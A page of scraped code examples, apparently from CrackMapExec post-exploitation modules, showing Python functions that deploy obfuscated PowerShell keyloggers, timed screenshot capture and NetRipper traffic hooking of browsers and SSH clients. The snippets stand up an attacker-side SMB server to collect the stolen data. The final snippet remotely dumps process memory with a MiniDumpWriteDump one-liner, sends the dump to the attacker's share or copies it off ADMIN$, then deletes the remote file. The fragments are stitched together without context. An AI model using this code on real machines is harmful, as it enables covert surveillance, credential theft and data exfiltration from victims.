Beispiel #1
0
    def options(self, context, module_options):
        '''
        TIMEOUT   Specifies the interval in minutes to capture keystrokes.
        STREAM    Specifies whether to stream the keys over the network (default: False)
        POLL      Specifies the interval in seconds to poll the log file (default: 20)
        '''

        if 'TIMEOUT' not in module_options:
            context.log.error('TIMEOUT option is required!')
            exit(1)

        self.stream = False
        self.poll = 20
        self.timeout = int(module_options['TIMEOUT'])

        if 'STREAM' in module_options:
            self.stream = bool(module_options['STREAM'])
        if 'POLL' in module_options:
            self.poll = int(module_options['POLL'])

        context.log.info('This module will not exit until CTRL-C is pressed')
        context.log.info('Keystrokes will be stored in ~/.cme/logs\n')

        self.ps_script1 = obfs_ps_script(
            'cme_powershell_scripts/Invoke-PSInject.ps1')
        self.ps_script2 = obfs_ps_script(
            'powersploit/Exfiltration/Get-Keystrokes.ps1')

        if self.stream:
            self.share_name = gen_random_string(5).upper()
            self.smb_server = CMESMBServer(context.log, self.share_name,
                                           context.log_folder_path)
            self.smb_server.start()
        else:
            self.file_name = gen_random_string(5)
    def options(self, context, module_options):
        '''
        INTERVAL  Specifies the interval in seconds between taking screenshots.
        ENDTIME   Specifies when the script should stop running in the format HH:MM (Military Time).
        '''

        if 'INTERVAL' not in module_options:
            context.log.error('INTERVAL option is required!')
            exit(1)

        if 'ENDTIME' not in module_options:
            context.log.error('ENDTIME option is required!')
            exit(1)

        self.interval = int(module_options['INTERVAL'])
        self.endtime = module_options['ENDTIME']
        self.share_name = gen_random_string(5).upper()

        context.log.info('This module will not exit until CTRL-C is pressed')
        context.log.info('Screenshots will be stored in ~/.cme/logs\n')

        self.ps_script1 = obfs_ps_script('Invoke-PSInject.ps1')
        self.ps_script2 = obfs_ps_script(
            'powersploit/Exfiltration/Get-TimedScreenshot.ps1')

        self.smb_server = CMESMBServer(context.log, self.share_name,
                                       context.log_folder_path)
        self.smb_server.start()
Beispiel #3
0
    def options(self, context, module_options):
        '''
        PROCESS   Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync)
        '''

        self.process = None

        if 'PROCESS' in module_options:
            self.process = module_options['PROCESS']
        else:
            context.log.error('PROCESS option is required')
            exit(1)

        self.share_name = gen_random_string(5).upper()
        self.ps_script1 = obfs_ps_script(
            'cme_powershell_scripts/Invoke-PSInject.ps1')
        self.ps_script2 = obfs_ps_script(
            'netripper/PowerShell/Invoke-NetRipper.ps1')

        context.log.info('This module will not exit until CTRL-C is pressed')
        context.log.info('Logs will be stored in ~/.cme/logs\n')

        self.smb_server = CMESMBServer(context.log, self.share_name,
                                       context.log_folder_path)
        self.smb_server.start()
Beispiel #4
0
    def _decorator(self, *args, **kwargs):
        global smb_server
        global smb_share_name

        get_output = False
        payload = None
        methods = []

        try:
            payload = args[0]
        except IndexError:
            pass
        try:
            get_output = args[1]
        except IndexError:
            pass

        try:
            methods = args[2]
        except IndexError:
            pass

        if 'payload' in kwargs:
            payload = kwargs['payload']

        if 'get_output' in kwargs:
            get_output = kwargs['get_output']

        if 'methods' in kwargs:
            methods = kwargs['methods']

        if not payload and self.args.execute:
            if not self.args.no_output: get_output = True

        if get_output or (methods and ('smbexec' in methods)):
            if not smb_server:
                #with sem:
                logging.debug('Starting SMB server')
                smb_server = CMESMBServer(self.logger,
                                          smb_share_name,
                                          verbose=self.args.verbose)
                smb_server.start()

        output = func(self, *args, **kwargs)

        if smb_server is not None:
            #with sem:
            smb_server.shutdown()
            smb_server = None

        return output
Beispiel #5
0
    def on_admin_login(self, context, connection):
        def __sleep_and_print(seconds):
            for k in range(1, seconds + 1):
                stdout.write('\r{dot}'.format(dot='.' * k))
                stdout.flush()
                sleep(1)
            stdout.write('\n')

        def format_size(filesize):
            unit = "B"
            size = filesize
            if filesize / 1000000000 > 0:
                unit = "G" + unit
                size = filesize / 1000000000
            elif filesize / 1000000 > 0:
                unit = "M" + unit
                size = filesize / 1000000
            elif filesize / 1000 > 0:
                unit = "K" + unit
                size = filesize / 1000
            return str(size) + unit

        file_name = gen_random_string()
        share_name = gen_random_string()

        if self.fileless:
            smb_server = CMESMBServer(context.log,
                                      share_name,
                                      verbose=context.verbose)
            local_ip = connection.conn.getSMBServer().get_socket().getsockname(
            )[0]
            smb_server.start()

        process_str = self.process
        if self.pid > 0:
            process_str = "-Id {pid}".format(pid=self.pid)

        output_name = ""
        if self.fileless:
            output_name = r"\\{host}\{share}\{name}".format(host=local_ip,
                                                            share=share_name,
                                                            name=file_name)
        else:
            output_name = r"\\127.0.0.1\ADMIN$\{name}".format(name=file_name)

        # The PowerShell oneliner comes from Out-Minidump: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
        payload = r'''
            $o='{output_file}';$p=Get-Process {process};$m=[PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting').GetNestedType('NativeMethods','NonPublic').GetMethod('MiniDumpWriteDump',[Reflection.BindingFlags]'NonPublic,Static');$fs=New-Object IO.FileStream($o, [IO.FileMode]::Create);$n=[IntPtr]::Zero;$r=$m.Invoke($null,@($p.Handle,$p.Id,$fs.SafeFileHandle,[UInt32] 2,$n,$n,$n));$fs.Close()
        '''.format(output_file=output_name, process=process_str)

        connection.ps_execute(payload)
        context.log.success('Executed launcher')
        context.log.info('Waiting 2s for completion')
        __sleep_and_print(2)

        if self.fileless:
            size = 0
            while True:
                try:
                    new_size = os.path.getsize(
                        os.path.join("/tmp", "cme_hosted", file_name))
                    if new_size == size:
                        break
                    else:
                        __sleep_and_print(2)
                        size = new_size
                except OSError:
                    __sleep_and_print(2)

            smb_server.shutdown()
            context.log.success(
                "Dump file received: /tmp/cme_hosted/{name}.".format(
                    name=file_name))

        else:
            context.log.info(
                r'Opening: ADMIN$\{output_file}'.format(output_file=file_name))
            f = RemoteFile(connection.conn,
                           file_name,
                           share='ADMIN$',
                           access=FILE_READ_DATA)
            try:
                f.open()
            except SessionError as e:
                print(e)
                context.log.info(
                    'File not found, sleeping to wait for the dump to finish')
                context.log.info('Sleeping 5s')
                __sleep_and_print(5)

                try:
                    f.open()
                except SessionError as e:
                    context.log.error('File not found, aborting..')
                    return

            filesize = f.size()
            context.log.info(
                r'Reading: {output_file}, about {filesize}'.format(
                    output_file=output_name, filesize=format_size(filesize)))
            outputfile = "{host}_{process}_{output_name}.dmp".format(
                host=connection.hostname
                if connection.hostname else connection.host,
                process=process_str.split(" ")[-1]
                if " " in process_str else process_str,
                output_name=file_name)
            output = open(outputfile, "wb")

            pbar = tqdm(total=filesize)
            bytesRead = f.read(BUF_SIZE)
            while bytesRead != '':
                pbar.update(BUF_SIZE)
                output.write(bytesRead)
                bytesRead = f.read(BUF_SIZE)

            output.close()
            pbar.close()
            f.close()
            f.delete()
            context.log.success(
                'Dump file saved as {output} and remote file deleted.'.format(
                    output=outputfile))